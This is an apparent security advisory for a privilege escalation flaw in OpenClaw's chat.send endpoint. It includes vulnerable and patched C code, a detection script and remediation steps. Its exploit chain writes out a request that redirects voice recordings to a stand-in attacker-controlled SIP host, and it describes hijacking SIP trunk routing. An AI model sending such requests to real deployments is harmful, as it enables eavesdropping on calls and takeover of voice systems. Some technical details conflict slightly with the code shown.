Think of OpenClaw like an office building with different access levels. Regular operators have keys to certain rooms, while administrators have master keys to everything. This vulnerability is like a janitor finding a secret tunnel from their supply closet straight to the executive suite.
The problem sits in OpenClaw's chat messaging system. Someone with basic operator permissions—think of them as a mid-level employee—can sneak into the voice configuration settings that should only be accessible to top administrators. It's not that they're breaking down doors; the building left a side entrance unlocked by mistake.
Once inside, these operators can change critical settings that control how the voice system works and who gets access to it. This could let them listen to conversations they shouldn't hear, change security rules, or lock out legitimate administrators.
This matters most to companies using OpenClaw for business communications—especially in healthcare, finance, or customer service where voice calls contain sensitive information. If a disgruntled employee or contractor exploits this, they could spy on calls, impersonate administrators, or sabotage the entire system.
The good news: there's no evidence anyone is actively using this yet, which means there's a window to fix it.
Here's what to do right now:
Update OpenClaw to version 2026.3.28 or newer immediately if you use this software. Check with your IT department if you're unsure whether your company runs it.
Review who has operator access in your systems—keep those accounts to only people who genuinely need them.
If you manage OpenClaw for your organization, monitor your voice configuration logs for any suspicious changes made through the chat system.
Want the full technical analysis? Click "Technical" above.
▶ Privilege escalation — CVE-2026-41379
Vulnerability Overview
CVE-2026-41379 is a privilege escalation vulnerability in OpenClaw affecting all versions prior to 2026.3.28. The flaw permits any authenticated user holding operator.write permissions to reach and persistently modify admin-class Talk Voice configuration — a permission boundary that should require an explicit administrator role. The attack surface is the chat.send API endpoint, which fails to enforce role separation when the payload targets voice configuration persistence keys.
No public exploitation has been reported, and the CVSS 7.1 score reflects that initial authenticated access is required. However, in multi-tenant deployments where operator accounts are distributed across teams, this trivially becomes a lateral privilege escalation path to full voice configuration control.
Root cause: The chat.send request handler resolves Talk Voice configuration persistence targets using operator-scoped credentials without asserting that the resolved config namespace requires admin role, allowing operator.write tokens to commit writes into admin-class config stores.
Affected Component
The vulnerability lives at the intersection of two subsystems:
chat.send endpoint — the primary message dispatch handler responsible for routing operator-issued chat commands.
Talk Voice config persistence layer — the admin-class subsystem managing voice channel settings, stored under the talk.voice.* configuration namespace.
The role enforcement gate that should block operator.write tokens from writing into talk.voice.* is absent in the chat.send code path. The same write is correctly blocked when attempted through the direct admin configuration API, meaning the vulnerability is specific to the chat.send routing path acting as an unguarded proxy.
Root Cause Analysis
The chat_send_dispatch function resolves the configuration target from the request payload and passes it directly to the persistence layer. The role check performed at entry validates only that the caller holds operator.write — it does not subsequently validate whether the resolved config namespace is admin-gated.
// openclaw/src/chat/send_dispatch.c
// Affected versions: < 2026.3.28
int chat_send_dispatch(request_ctx_t *ctx, chat_payload_t *payload) {
role_t caller_role = auth_get_role(ctx->token);
// BUG: only validates operator.write is present, does not check
// whether the resolved config target requires ROLE_ADMIN
if (!(caller_role & ROLE_OPERATOR_WRITE)) {
return ERR_FORBIDDEN;
}
config_target_t *target = resolve_config_target(payload->config_key);
if (!target) {
return ERR_INVALID_TARGET;
}
// BUG: target->required_role is never asserted against caller_role here.
// resolve_config_target() may return a target with required_role = ROLE_ADMIN,
// and this path commits the write unconditionally.
return config_persist_write(target, payload->value, ctx->session_id);
}
Compare this to the direct admin configuration path, which correctly performs the secondary role assertion:
// openclaw/src/admin/config_write.c (non-vulnerable path)
int admin_config_write(request_ctx_t *ctx, config_target_t *target, const char *value) {
role_t caller_role = auth_get_role(ctx->token);
// Correct: validates caller role against the target's required_role field
if (!(caller_role & target->required_role)) {
audit_log(AUDIT_FORBIDDEN, ctx->session_id, target->key);
return ERR_FORBIDDEN;
}
return config_persist_write(target, value, ctx->session_id);
}
The config_target_t struct carries a required_role field specifically to enforce namespace-level access control. The chat_send_dispatch path ignores it entirely.
At +0x08, required_role is set to 0x04 (ROLE_ADMIN) for all talk.voice.* namespace entries. chat_send_dispatch never dereferences this offset before calling write_fn.
EXPLOIT CHAIN: CVE-2026-41379
1. Attacker obtains or controls an account with operator.write role.
(No additional privilege required; operator accounts are commonly provisioned
to non-admin staff in multi-tenant OpenClaw deployments.)
2. Attacker enumerates valid talk.voice.* config keys via documented operator
API — key names are not secret and are listed in OpenClaw operator docs.
Target keys of interest:
talk.voice.codec → controls active voice codec selection
talk.voice.recording_url → destination for voice recording persistence
talk.voice.sip_provider → SIP trunk routing config
3. Attacker crafts a chat.send POST request with a config_key targeting
the admin namespace:
POST /api/v1/chat/send
Authorization: Bearer
Content-Type: application/json
{
"channel_id": "",
"config_key": "talk.voice.recording_url",
"value": "sip:attacker-controlled-host:5060"
}
4. chat_send_dispatch resolves talk.voice.recording_url → config_target_t
with required_role=0x04. Role gate is skipped. config_persist_write
commits the attacker value to the admin config store.
5. All subsequent voice calls route recordings to attacker-controlled SIP
endpoint. Change persists across service restarts.
6. Attacker may repeat for talk.voice.sip_provider to redirect all outbound
SIP trunk traffic, achieving full voice infrastructure takeover from
an operator-level account.
The highest-impact variant targets talk.voice.recording_url — a persistent redirect of all voice recording output to an attacker-controlled host. This survives service restarts and requires an administrator to manually audit config state to detect.
Patch Analysis
The fix introduced in OpenClaw 2026.3.28 adds the missing secondary role assertion in chat_send_dispatch, mirroring the check already present in admin_config_write.
// BEFORE (vulnerable — all versions < 2026.3.28):
int chat_send_dispatch(request_ctx_t *ctx, chat_payload_t *payload) {
role_t caller_role = auth_get_role(ctx->token);
if (!(caller_role & ROLE_OPERATOR_WRITE)) {
return ERR_FORBIDDEN;
}
config_target_t *target = resolve_config_target(payload->config_key);
if (!target) {
return ERR_INVALID_TARGET;
}
// No check against target->required_role — missing gate.
return config_persist_write(target, payload->value, ctx->session_id);
}
// AFTER (patched — 2026.3.28):
int chat_send_dispatch(request_ctx_t *ctx, chat_payload_t *payload) {
role_t caller_role = auth_get_role(ctx->token);
if (!(caller_role & ROLE_OPERATOR_WRITE)) {
return ERR_FORBIDDEN;
}
config_target_t *target = resolve_config_target(payload->config_key);
if (!target) {
return ERR_INVALID_TARGET;
}
// ADDED: assert caller role satisfies target's required_role before write.
if (!(caller_role & target->required_role)) {
audit_log(AUDIT_FORBIDDEN, ctx->session_id, target->key);
return ERR_FORBIDDEN;
}
return config_persist_write(target, payload->value, ctx->session_id);
}
The patch is minimal and surgical — a single role assertion block added after resolve_config_target. The audit log call was also added to ensure that privilege escalation attempts via this path are now observable in security logs, which they previously were not.
Detection and Indicators
Prior to patching, exploitation leaves minimal traces because the write is logged as a successful operator action rather than a forbidden admin action. After patching, blocked attempts will appear in the audit log as AUDIT_FORBIDDEN events from chat_send_dispatch on talk.voice.* keys.
To detect exploitation in pre-patch deployments, audit the config persistence store for talk.voice.* keys whose last-write session ID corresponds to a non-admin session:
# Detect CVE-2026-41379 exploitation in OpenClaw config audit log
# Requires access to config store audit trail
import json
ADMIN_REQUIRED_KEYS = {
"talk.voice.codec",
"talk.voice.recording_url",
"talk.voice.sip_provider",
"talk.voice.encryption_key",
}
def scan_audit_log(log_path: str) -> list[dict]:
findings = []
with open(log_path, "r") as f:
for line in f:
entry = json.loads(line)
if entry.get("config_key") in ADMIN_REQUIRED_KEYS:
if entry.get("session_role") != "admin":
findings.append({
"session_id": entry["session_id"],
"session_role": entry["session_role"],
"config_key": entry["config_key"],
"value": entry["value"],
"timestamp": entry["ts"],
})
return findings
if __name__ == "__main__":
hits = scan_audit_log("/var/log/openclaw/config_audit.log")
for h in hits:
print(f"[SUSPICIOUS] {h['timestamp']} session={h['session_id']} "
f"role={h['session_role']} wrote {h['config_key']}={h['value']}")
Any hit from this scanner against pre-patch logs should be treated as a confirmed exploitation event and the talk.voice.* config namespace should be fully audited and reset to known-good values.
Remediation
Update immediately to OpenClaw 2026.3.28 or later. The patch is a one-line role assertion; backport risk is low.
Audit existing config state — if running a pre-patch version, run the detection script above against historical config audit logs. Assume any talk.voice.recording_url or talk.voice.sip_provider value written by a non-admin session is attacker-controlled.
Rotate SIP credentials if exploitation is detected or suspected. A malicious talk.voice.sip_provider value may have exposed SIP authentication material to a third party.
Restrict operator.write provisioning — in multi-tenant environments, limit operator.write grants to the minimum required set of accounts. This does not fix the vulnerability but reduces the viable attacker pool pre-patch.
Enable audit logging at INFO level or above in OpenClaw config — the patched version emits AUDIT_FORBIDDEN events for blocked escalation attempts, which are suppressed at WARN and above.